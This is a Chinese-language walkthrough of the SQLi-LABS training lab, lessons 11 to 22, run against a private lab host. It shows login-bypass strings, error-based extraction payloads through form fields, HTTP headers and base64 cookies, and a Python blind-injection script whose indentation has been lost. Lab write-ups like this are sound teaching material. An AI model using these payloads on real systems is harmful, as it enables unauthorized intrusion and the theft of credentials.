Less-11

GET - Blind - Time based - double quotes

http://10.10.202.112/sqli/Less-11/

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges

尝试登录:

username:admin'

password: 1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1

猜测SQL语句为:

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

因此构造注入语句:

username: admin'-- -

password: 1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_02

 

username: admin' or '1'='1 

password: admin' or '1'='1

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

select username,password from users where username='admin' or '1'='1' and password='admin' or '1'='1' LIMIT 0,1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_03

 

Less-12

POST - Error Based - Double quotes- String

注入尝试:

username: admin'

password: 1

无回显

username:admin"

password:  1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1") LIMIT 0,1' at line 1

猜测SQL为:

select username,password from users where username=("$username") and password=("$password") limit 0,1

构造注入payload:

username:admin")-- -

password: 1

select username,password from users where username=("admin")-- -" and password="1" limit 0,1

最终执行的SQL变为:

select username,password from users where username=("admin") 永远为真

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_04

 

Less-13

POST - Double Injection - Single quotes

http://10.10.202.112/sqli/Less-13/

尝试注入:

username: admin'

password: 1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1') LIMIT 0,1' at line 1

猜测SQL:

select username,password from users where username=('$username') and password=('$password') limit 0,1

payload:

username: admin')-- -

password: 1

select username,password from users where username=('admin')-- -') and password=('$password') limit 0,1

select username,password from users where username=('admin')

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_05

 

Less-14

POST - Double Injection - Single quotes

http://10.10.202.112/sqli/Less-14/

尝试注入:

username: admin\

passwrod: 1

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1" LIMIT 0,1' at line 1

猜测SQL为:

select username,password from users where username="$username" and password="$password" limit 0,1

注入payloads:

username:admin"-- - 或者 admin" or "s"="s

password: 1

 

select username,password from users where username="admin"-- -" and password="1" limit 0,1

select username,password from users where username="admin"

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_06

 

 

Less-15

POST - Blind- Boolian/time Based - Singing

http://10.10.202.112/sqli/Less-15/

payload:

username: admin'-- - 或者 admin'#

password: 1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_07

 

Less-16

POST - Blind- Boolian/Time Based - Double

尝试 ' " \

均无报错,查看源码SQL如下:

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';

SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1

payload:

username: admin")-- -

password: 1 

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_08

 

#!/usr/bin/env python
#coding:utf8

import requests
import string
import sys
global findBit
def sendPayload(payload):
proxy = {"http":"http://10.10.202.112"}
url = "http://10.10.202.112/sqli/Less-16/index.php"
data = "uname=" + payload + "&passwd=chybeta&submit=Submit"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
content = requests.post(url,data=data,headers=headers,proxies=proxy)
return content.text
flag = "flag.jpg"
def generateTarget(flag):
if flag == "database":
return "database()"
elif flag == "tables":
return "(SELECT%09GROUP_CONCAT(table_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.TABLE
S%09WHERE%09TABLE_SCHEMA=0x786d616e)"
elif flag == "columns":
return "(SELECT%09GROUP_CONCAT(column_name%09SEPARATOR%090x3c62723e)%09FROM%09INFORMATION_SCHEMA.COLU
MNS%09WHERE%09TABLE_NAME=0x6374665f7573657273)"
elif flag == "data":
return "(SELECT%09GROUP_CONCAT(gpass%09SEPARATOR%090x3c62723e)%09FROM%09ctf_users)"
def doubleSearch(leftNum,rightNum,i,target):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
payload = 'admin") and%09(%09select%09ascii(substr(' +generateTarget(target) +"%09from%09"+ str(i) +"
%09for%091))<="+str(midNum) +")%23"
recv = sendPayload(payload)
if flag in recv:
doubleSearch(leftNum,midNum,i,target)
else:
doubleSearch(midNum,rightNum,i,target)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
global findBit
i = 1
findBit = 0
print "The database:"
target = "database"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
exp()

 

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_09

 

 

Less-17

POST - Update Query- Error Based - String

http://10.10.202.112/sqli/Less-17/

查看源码SQL为:

UPDATE users SET password = '$passwd' WHERE username='$row1'

尝试payload:

new username: admin

new password: 1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

尝试闭合:

username: admin

password:1'--+

针对报错盲注获取MySQL的版本信息

uname=admin&passwd=1'+and+extractvalue(0x0a,concat(0x0a,(select+version())))--+&submit=Submit

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_10

uname=admin&passwd=1'+and+extractvalue(0x0a,concat(0x0a,(SELECT+schema_name+FROM+INFORMATION_SCHEMA.SCHEMATA+limit+6,1)))--+&submit=Submit

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_11

获取表

uname=admin&passwd=1'+AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+3,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+&submit=Submit

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_12

 

Less-18

POST - Header Injection - Uagent field

http://10.10.202.112/sqli/Less-18/

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_13

备注:这里需要登录才能HTTP头部注入,查看源码

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

username:admin

password:1

user-agent 尝试注入:'

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_14

尝试闭合:

payload:

user-agent: hack404' and 's'='s

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_15

接下来我们使用基于报错的进行注入:

hack404' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_16

 

User-Agent: hack404' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 7,1),0x7e),1) and '1'='1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_17

 

Less-19

POST - Header Injection - Referer field

http://10.10.202.112/sqli/Less-19/

依然是HTTP 头部注入

Your IP ADDRESS is: 10.10.202.1
Your Referer is: http://10.10.202.112/sqli/Less-19/

HTTP referer 注入

payload:

Referer: hack404'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '10.10.202.1')'

尝试闭合

payload:hack404' and 's'='s

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_18

payload:

Referer: hack404' and updatexml(1,concat(0x7e,version(),0x7e),1) and 's'='s

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_19

 

Less-20

http://10.10.202.112/sqli/Less-20/index.php

POST - Cookie injections - Uagent field

username: admin

password: 1

源码中的判断语句有些长,梳理一下:

判断Cookie中的uname是否被设置,若没有,返回的是登录前界面,这里对username和password都做了输入检查,登陆成功后发放Cookie
若uname非空,则再判断submit是否被设置(即有Cookie的用户是否选择删除Cookie),若没有,则用uname作参数查询数据库并返回相应信息
若submit非空(即用户点击Delete Cookie按钮),则删除Cookie(即设置Cookie有效时间为负值)
由于未对cookie做输入检查,同时select语句使用了cookie的uname值

先登录成功,再尝试修改cookie

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_20

 

payload:

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_21

 

获取当前的库:

Cookie: uname=admin' +and+updatexml(null,concat(0x0a,(SELECT+schema_name+FROM+INFORMATION_SCHEMA.SCHEMATA+limit+6,1)),null) and '1'='1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_22

获取当前的表

Cookie: uname=admin' +AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+3,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_23

 

获取username字段

Cookie: uname=admin' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x7573657273+AND+table_schema=DATABASE()+LIMIT+1,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1

 

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_24

 

 获取password字段

Cookie: uname=admin' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(column_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_name=0x7573657273+AND+table_schema=DATABASE()+LIMIT+2,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_25

获取字段数据

Cookie: uname=admin' +AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+7,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) and '1'='1

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_26

 

Less-21

POST- Dump into outfile - String

http://10.10.202.112/sqli/Less-21/index.php

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_27

 

YWRtaW4%3D

YWRtaW4=

base64 解码为:admin

admin' -- YWRtaW4n

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_28

 

尝试闭合:

admin' and 's'='s -- YWRtaW4nIGFuZCAncyc9J3M=

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_29

payload:

admin' and updatexml(null,concat(0x0a,(select version())),null) and 's'='s 

YWRtaW4nIGFuZCB1cGRhdGV4bWwobnVsbCxjb25jYXQoMHgwYSwoc2VsZWN0IHZlcnNpb24oKSkpLG51bGwpIGFuZCAncyc9J3M=

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_30

 

Less-22

Future Editions

http://10.10.202.112/sqli/Less-22/index.php

首先登陆:

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_31

base64 解码

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_32

尝试报错注入下:

admin" -- YWRtaW4i

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_33

尝试闭合:

admin" and "s"="s --  YWRtaW4iIGFuZCAicyI9InM=

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_34

构造SQL

admin" and updatexml(1,concat(0x7e,database(),0x7e),1) and "s"="s

YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpLDEpIGFuZCAicyI9InM=

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_35

SQLi-LABS Page-1(Basic Challenges) Less11-Less22_Basic Challenges_36

 

完结!!!